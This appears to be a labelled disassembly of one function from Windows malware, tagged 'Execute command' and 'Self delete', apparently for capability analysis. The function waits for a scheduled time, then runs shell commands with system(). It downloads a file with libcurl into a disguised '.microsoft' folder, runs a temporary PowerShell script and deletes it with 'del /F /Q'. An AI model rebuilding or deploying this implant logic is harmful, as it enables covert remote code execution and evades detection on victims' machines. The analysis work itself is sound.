Function at 0x1400019b1
Capabilities:
Execute command
Self delete

Disassembly:
push rbp
push rbx
sub rsp, 0x5e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x580], rcx
lea rdx, str.executing_payload
mov rcx, qword [0x140172100]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, 8
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp + 0x2b0]
mov r8d, edx
mov rdx, qword [rbp + 0x580]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.basic_stringstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
mov dword [rbp + 0x55c], 0
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.140133600
lea rax, [rbp + 0x43e]
mov rcx, rax
call fcn.1400fc930
lea rdx, [rbp + 0x43e]
lea rax, [rbp + 0x270]
mov r8, rdx
lea rdx, [0x140158013]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x43e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov byte [rbp + 0x55b], 0
mov dword [rbp + 0x554], 0
mov dword [rbp + 0x550], 0
lea rax, [rbp + 0x250]
mov rcx, rax
call fcn.14012fbd0
lea rax, [rbp + 0x230]
mov rcx, rax
call fcn.140133600
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.140133600
lea rax, [rbp + 0x43f]
mov rcx, rax
call fcn.1400fc930
lea rdx, [rbp + 0x43f]
lea rax, [rbp + 0x1f0]
mov r8, rdx
lea rdx, [0x140158013]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x43f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp + 0x290]
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std::allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
je 0x140001e7d
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.strip_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
cmp dword [rbp + 0x55c], 0
jne 0x140001be4
lea rax, [rbp + 0x290]
lea rdx, [0x140158014]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001b76
lea rax, [rbp + 0x270]
lea rdx, [0x140158014]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
jmp 0x140001e71
lea rax, [rbp + 0x290]
lea rdx, [0x140158018]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001bab
lea rax, [rbp + 0x270]
lea rdx, [0x140158018]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
jmp 0x140001e71
lea rax, [rbp + 0x290]
lea rdx, str.download
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001e71
lea rax, [rbp + 0x270]
lea rdx, str.download
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
jmp 0x140001e71
cmp dword [rbp + 0x55c], 1
jne 0x140001d90
lea rdx, [0x140158024]
mov rcx, qword [0x140172100]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x290]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rdx, [0x140158024]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x290]
lea rdx, [0x140158026]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001c5a
mov byte [rbp + 0x55b], 0
jmp 0x140001e71
lea rax, [rbp + 0x270]
lea rdx, str.download
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001c8f
lea rdx, [rbp + 0x290]
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.140133f10
jmp 0x140001e71
mov byte [rbp + 0x55b], 1
lea rax, [rbp + 0x46f]
mov rcx, rax
call fcn.1400fc930
lea rdx, [rbp + 0x46f]
lea rax, [rbp + 0x440]
mov r8, rdx
lea rdx, [0x14015802a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rdx, [rbp + 0x290]
lea rax, [rbp + 0x470]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1d0]
lea rcx, [rbp + 0x440]
lea rdx, [rbp + 0x470]
mov r8, rcx
mov rcx, rax
call sym.split_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x470]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x440]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x46f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1d0]
mov edx, 0
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.operator___unsigned_long_long_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x554], eax
lea rax, [rbp + 0x1d0]
mov edx, 1
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.operator___unsigned_long_long_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x550], eax
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
jmp 0x140001e71
lea rax, [rbp + 0x290]
lea rdx, [0x140158013]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001e71
lea rax, [rbp + 0x270]
lea rdx, [0x140158014]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001de3
lea rdx, [rbp + 0x290]
lea rax, [rbp + 0x250]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
jmp 0x140001e71
lea rax, [rbp + 0x270]
lea rdx, [0x140158018]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001e41
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x290]
lea r8, [0x14015802c]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp + 0x490]
lea rax, [rbp + 0x230]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x490]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001e71
lea rax, [rbp + 0x270]
lea rdx, str.download
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001e71
lea rdx, [rbp + 0x290]
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.140133f10
add dword [rbp + 0x55c], 1
jmp 0x140001af2
mov ecx, 0
call sym.time
mov qword [rbp + 0x1e8], rax
lea rax, [rbp + 0x1e8]
mov rcx, rax
call sym.gmtime
mov qword [rbp + 0x548], rax
lea rdx, str.UTC:
mov rcx, qword [0x140172100]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x548]
mov eax, dword [rax + 8]
mov edx, eax
call method.std::ostream.operator___int_
lea rdx, [0x140158035]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x548]
mov eax, dword [rax + 4]
mov edx, eax
call method.std::ostream.operator___int_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
cmp byte [rbp + 0x55b], 0
je 0x140001fcd
mov rax, qword [rbp + 0x548]
mov eax, dword [rax + 8]
cmp dword [rbp + 0x554], eax
jl 0x140001f40
mov rax, qword [rbp + 0x548]
mov eax, dword [rax + 8]
cmp dword [rbp + 0x554], eax
jne 0x140001f4a
mov rax, qword [rbp + 0x548]
mov eax, dword [rax + 4]
cmp dword [rbp + 0x550], eax
jge 0x140001f4a
mov ebx, 0
jmp 0x140002483
mov rax, qword [rbp + 0x548]
mov edx, dword [rax + 8]
mov eax, dword [rbp + 0x554]
sub eax, edx
imul edx, eax, 0xe4c
mov rax, qword [rbp + 0x548]
mov ecx, dword [rax + 4]
mov eax, dword [rbp + 0x550]
sub eax, ecx
imul eax, eax, 0x3c
add eax, edx
mov dword [rbp + 0x544], eax
lea rdx, str.will_wait_for
mov rcx, qword [0x140172100]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x544]
mov edx, eax
call method.std::ostream.operator___int_
lea rdx, str._secs
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, dword [rbp + 0x544]
mov ecx, eax
call sym.chill_int_
lea rdx, str.shell:
mov rcx, qword [0x140172100]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x270]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x270]
lea rdx, [0x140158014]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x1400020c6
lea rax, [rbp + 0x250]
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x528]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov qword [rbp + 0x1c0], rax
lea rdx, [rbp + 0x1c0]
lea rax, [rbp + 0x1c8]
mov rcx, rax
call sym._ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EES
test al, al
je 0x14000247e
lea rax, [rbp + 0x1c8]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov rdx, rax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c8]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
jmp 0x140002059
lea rax, [rbp + 0x270]
lea rdx, str.download
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x14000231a
mov ecx, 1
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], 0
call sym.curl_easy_init
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x210]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x538]
mov r8, rdx
mov edx, 0x2712
mov rcx, rax
call sym.curl_easy_setopt
mov rax, qword [rbp + 0x538]
mov r8d, 1
mov edx, 0x34
mov rcx, rax
call sym.curl_easy_setopt
mov rax, qword [rbp + 0x538]
lea r8, [sym.WriteMemory_char__unsigned_long_long__unsigned_long_long__void_]
mov edx, 0x4e2b
mov rcx, rax
call sym.curl_easy_setopt
lea rdx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x538]
mov r8, rdx
mov edx, 0x2711
mov rcx, rax
call sym.curl_easy_setopt
mov rax, qword [rbp + 0x538]
mov rcx, rax
call sym.curl_easy_perform
mov dword [rbp + 0x534], eax
cmp dword [rbp + 0x534], 0
jne 0x140002306
lea rax, [rbp + 0x4ff]
mov rcx, rax
call fcn.1400fc930
lea rdx, [rbp + 0x4ff]
lea rax, [rbp + 0x4d0]
mov r8, rdx
lea rdx, str.C:Users_username_.microsoft_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x4b0]
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0x4d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x4b0]
mov rdx, rax
mov rcx, qword [0x140172100]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x4b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4ff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp + 0x1f0]
lea rax, [rbp - 0x20]
mov r8d, 0x10
mov rcx, rax
call fcn.140122190
lea rax, [rbp - 0x20]
add rax, 0xc8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
je 0x1400022a8
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
mov rdx, qword [rbp + 0x1b0]
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call method.std::ostream.write_char_const__long_long_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
jmp 0x1400022fa
lea rdx, str.Error_opening_file
mov rcx, qword [0x140172100]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.msvcrt.dll__errno]
call rax
mov eax, dword [rax]
mov ecx, eax
call sym.strerror
mov rdx, rax
mov rcx, qword [0x140172100]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
mov rax, qword [rbp + 0x538]
mov rcx, rax
call sym.curl_easy_cleanup
jmp 0x14000247e
lea rax, [rbp + 0x270]
lea rdx, [0x140158018]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x14000247e
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140133600
lea rax, [rbp - 0x60]
lea rdx, str.C:Users_username_.microsoft_tmp.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp - 0x20]
mov r8d, 0x10
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
add rax, 0xc8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x140002398
mov ebx, 0
jmp 0x140002449
lea rdx, [rbp + 0x230]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov r8, rdx
lea rdx, str.powershell
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp + 0x500]
lea rdx, [rbp - 0x60]
mov r8, rdx
lea rdx, str.del__F__Q
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x500]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x500]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 1
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
cmp ebx, 1
je 0x140002461
mov ebx, 0
jmp 0x140002466
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
je 0x14000247e
mov ebx, 0
jmp 0x140002483
mov ebx, 1
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
je 0x14000249e
mov ebx, 0
jmp 0x1400024a3
mov ebx, 1
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
je 0x1400024be
mov ebx, 0
jmp 0x1400024c3
mov ebx, 1
lea rax, [rbp + 0x230]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
je 0x1400024de
mov ebx, 0
jmp 0x1400024e3
mov ebx, 1
lea rax, [rbp + 0x250]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
cmp ebx, 1
je 0x1400024fe
mov ebx, 0
jmp 0x140002503
mov ebx, 1
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
je 0x14000251e
mov ebx, 0
jmp 0x140002523
mov ebx, 1
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
je 0x14000253e
mov ebx, 0
jmp 0x140002543
mov ebx, 1
lea rax, [rbp + 0x2b0]
mov rcx, rax
call fcn.14013e880
cmp ebx, 1
jmp 0x1400026ea
add rsp, 0x5e8
pop rbx
pop rbp
ret